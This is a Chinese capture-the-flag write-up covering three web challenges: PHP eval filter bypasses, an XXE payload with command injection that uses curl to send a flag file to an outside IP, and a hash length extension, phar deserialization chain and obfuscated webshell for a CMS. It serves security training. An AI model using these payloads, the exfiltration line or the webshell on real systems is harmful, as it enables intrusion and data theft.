本文作者:z3r0yu 由“合天智匯”公眾號首發,未經允許,禁止轉載!
0x00 前言
周末的比賽質量還是挺高的,特別是boring_code,有點燒腦但是做的就很開心。
0x01 boring_code
題目描述
http://112.125.25.2:9999
題目解答
題目上來的郵件源碼中給了提示,所以直接分析目錄得到了對應的程序源碼
<?php function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; } if (isset($_POST['url'])) { $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); print_r($r); if (preg_match('/baidu\.com$/', $r['host'])) { echo "pass preg_match"; $code = file_get_contents($url); print_r($code); // 下面這個正則約束了只能是phpinfo();這樣的形式 // 所以基本來說 php://input 是不行了 if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } } else { echo "error: host not allowed"; } } else { echo "error: invalid url"; } } else { highlight_file(__FILE__); }
可以看到這個題目基本是以file_get_contents
函數為界限分為了兩個部分:
-
需要bypass
filter_var
、parse_url
和preg_match('/baidu\.com$/', $r['host'])
這三個函數的限制; -
需要bypass 在
eval
函數之前的那一堆正則限制
首先針對第一個部分,我所知的有三種解決方案:
-
購買一個含有baidu.com字符的域名,比如
z3r0yu.bytebaidu.com
(剛開始bypass太困難,5am3師傅咬了咬牙直接就買了,氪金解決一切啊) -
使用ftp協議,
ftp://ip:port,baidu.com:80/filename.txt
-
使用一個百度的任意跳轉的漏洞(還真有)
post.baidu.com
,具體可以參考 :https://www.4xseo.com/marketing/1280/#title-0
第一部分過了之后就需要bypass對shell的限制了,因為此處限制的比較死,所以之前的那些執行方式就統統失效了
首先先構思一個簡單的payload,如下
echo(readfile(end(scandir('.'))));
因為 .
對應的是 chr(46),所以payload就可以是如下的形式
echo(readfile(end(scandir(chr(46)))));
但是正則表達式限制了不能夠在函數中使用參數,所以之后我們可以看看系統中還剩什么函數可以使用
可以使用如下方式來進行初步fuzz
<? var_dump(gettype(get_defined_functions())); var_dump(count(get_defined_functions()[internal])); // var_dump(preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', '111')); $i_need_func=array(); $j=0; for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) { if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_|-/i', get_defined_functions()[internal][$i])) { $i_need_func[$j]=get_defined_functions()[internal][$i]; $j++; } } print_r($i_need_func);
可以看到基本使用函數來獲取外部導入變量是不可能的了,但是關注到一個函數 phpversion() 可以返回對應的php版本,也就是 7 這個數字
那么接下來就是數學題了,如何利用剩下的數學函數來構造出數字 46 , 最終利用如下方式構造出
var_dump(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));
從而得到了 .
PS: 隨后也fuzz出 localeconv()
函數的返回值中有一個 .
(fuzz腳本附在最后)
所以此時已經可以可以完成對當前目錄文件的讀取,但是題目提示文件是在上一層目錄中,所以我們還需要構造 ..
來跳到上一級目錄,此處剛開始也卡了好久,但隨后突然想到 ls -a
之后系統不就自帶兩點,這不是系統特性嘛,所以就有了如下paylaod
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
之后就是使用chr
函數進行跳到上一級目錄,但是跳完還有一個問題,就是該怎么再次獲取一個.
出來,chr
函數的返回值是布爾值,那么之后就將布爾值True作為參數放在fuzzer中看能得到什么結果,最后fuzz輪次不一樣時發現 time
函數返回的結果也不一樣,隨后查了一下手冊,便意識到可以使用這種方式來進行構造一個46出來,所以構造出如下payload
localtime(time(1))
綜上就可以構造出payload如下
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
另一種payload可以構造如下
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
所以這題再限制一下長度估計會更難
我在解題時使用的粗糙fuzzer
<?php var_dump(gettype(get_defined_functions())); var_dump(count(get_defined_functions()[internal])); // var_dump(preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', '111')); $i_need_func=array(); $j=0; for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) { if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_/i', get_defined_functions()[internal][$i])) { $i_need_func[$j]=get_defined_functions()[internal][$i]; $j++; } } // print_r($i_need_func); // $res=array(); // $t=0; try { for ($i=0; $i < count($i_need_func); $i++) { if(!is_null($i_need_func[$i]())){ echo $i_need_func[$i]; var_dump($i_need_func[$i]()); } // if (var_dump(print_r($i_need_func[$i](chr(46))))) { // echo $i_need_func[$i]; // $res[$t]=$i_need_func[$i]; // $t++; // } } } catch (\Throwable $th) { //throw $th; } // print_r($res);
最后再簡要提一下我看到的另外兩種payload
兩中payload都是利用了hash的特征
paylaod1
readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
原理:hebrevc(crypt(arg))可以隨機生成一個hash值 第一個字符隨機是 $(大概率) 或者 .(小概率) 然后通過ord chr只取第一個字符
payload2
if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
原理:crypt(serialize(array())) 原因同上
PS: 這種也可以利用fuzzer發現,就像發現time函數那樣,檢測輪次中結果的變化即可
0x02 RSS
題目描述
http://112.126.96.50:9999
題目解答
這題基本是個原題,只是 create_function
的位置改變了,任意文件讀取改成了xxe來完成,域名限制的突破也可以使用購買域名來實現
POST /fetch HTTP/1.1 Host: 112.126.96.50:9999 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://112.126.96.50:9999/ Content-Type: application/x-www-form-urlencoded Content-Length: 49 Connection: close Upgrade-Insecure-Requests: 1 rss_url=http://z3r0yu.bytebaidu.com:2233/exp7.xml
payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [<!ENTITY test SYSTEM "http://localhost/rss_in_order?rss_url=http%3a%2f%2f47.90.204.28%3a2233%2ffile.xml&order=description%2c%22c%22)%3b%7dsystem(%22curl+http%3a%2f%2f47.90.204.28%3a2233%2f%60cat%20%2fflag_eb8ba2eb07702e69963a7d6ab8669134%20%7c%20base64%60%22)%3b%2f%2f">]> <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> <channel> <title>先知安全技術社區</title> <link>http://xz.aliyun.com/forum/</link> <description>先知安全技術社區</description> <atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link> <language>zh-hans</language> <lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate> <item><title>&test;</title><link>http://xz.aliyun.com/t/5514</link><description>利用Excel power query實現遠程DDE執行</description><pubDate>Tue, 02 Jul 2019 06:03:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5514</guid></item> <item><title>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item> </channel> </rss>
(注:想掌握XXE漏洞的原理,學會XXE漏洞利用技術以及防御方法,可來合天網安實驗室操作實驗——XXE漏洞攻擊與防御)
0x03 ezcms
題目描述
http://112.126.102.158:9999
題目解答
首先是一個源碼泄露
112.126.102.158:9999/www.zip
看到config.php
中的is_admin
函數時,就基本可以判斷,此處可以使用hash擴展攻擊bypass
function is_admin(){ $secret = "********"; $username = $_SESSION['username']; $password = $_SESSION['password']; if ($username == "admin" && $password != "admin"){ if ($_COOKIE['user'] === md5($secret.$username.$password)){ return 1; } } return 0; }
哈希長度擴展攻擊的一般利用步驟如下:
-
知道
md5($secret.$username.$password)
的值 -
知道
$SECRET
的長度 -
我們可以算出另外一個 md5 值和另外一個user的值,使得
$COOKIE['user'] == md5($secret.$username.$password)
所以首先輸入任意密碼登錄后在cookie中獲取到對應的hash
document.cookie "PHPSESSID=bodvgts7e1v6duqtcvq0miplul; hash=b1a9c01292d57c0d2010add7f8d10c41"
之后,因為要偽造的password的值為admin,所以對應的長度是 len($SECRET)+len($password)=13
最后使用hashpump
偽造得到對應的值
Input Signature: b1a9c01292d57c0d2010add7f8d10c41 Input Data: admin Input Key Length: 13 Input Data to Add: zeroyu f27536145794288b2c1f94f0a62695a9 admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00zeroyu
之后將\x
換為%
即可得到對應的payload
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00zeroyu
之后就可以用admin的身份來上傳文件了
從代碼中可以看到,webapp是自己生成了一個.htaccess
文件來阻止對我們shell的解析,所以我們的目標就是覆蓋或者刪除這個文件。
有文件上傳點,源碼中有類,還有一個疑似可以觸發phar反序列化的點,基本就可以判斷這是一個反序列化漏洞。
大概看了一下官方手冊,發現 mime_content_type
函數的實現,其實也是通過讀取對應的文件來實現的,既然讀文件就有可能會觸發phar發序列化漏洞,之后本地測試發現的確可以觸發。
前面的協議限制我們可以使用php偽協議來進行繞過
preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)
對應的繞過
php://filter/read=convert.base64-encode/resource=phar://filename.phar
之后就是找一條pop鏈來完成對.htaccess
的修改,最開始想使用move_uploaded_file
函數將文件移走,但是后面發現move_uploaded_file
的第一個參數必須是post傳遞的,因此失敗。
后面就關注到Profile類__call
函數
function __call($name, $arguments) { $this->admin->open($this->username, $this->password); }
雖然webapp自身沒有提供對應的函數,但是php系統中是否存在某個類可以完成文件修改的效果,所以順着這個思路就找到了ZipArchive::open
對應的手冊說明:
https://www.php.net/manual/zh/ziparchive.open.php
所以最終構造出的exp如下
<?php class File{ public $filename; public $filepath; public $checker; } class Profile{ public $username; public $password; public $admin; } $o = new File(); $o->checker=new Profile(); $o->checker->admin=new ZipArchive(); $o->checker->username="./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess"; $o->checker->password=ZIPARCHIVE::OVERWRITE; @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后綴名必須為phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?>
之后我們本地動態調試一下這個鏈,可以看到是已經觸發了的,並且觸發之后.htaccess
文件也被修改了
之后我們之后需要上傳一個bypass限制的webshell,然后再觸發反序列化刪掉.htaccess
文件即可getshell
<?php $z="sys"."tem"; $z($_GET[0]);
哈希(Hash)相關內容學習可操作實驗——哈希(Hash)長度擴展攻擊。。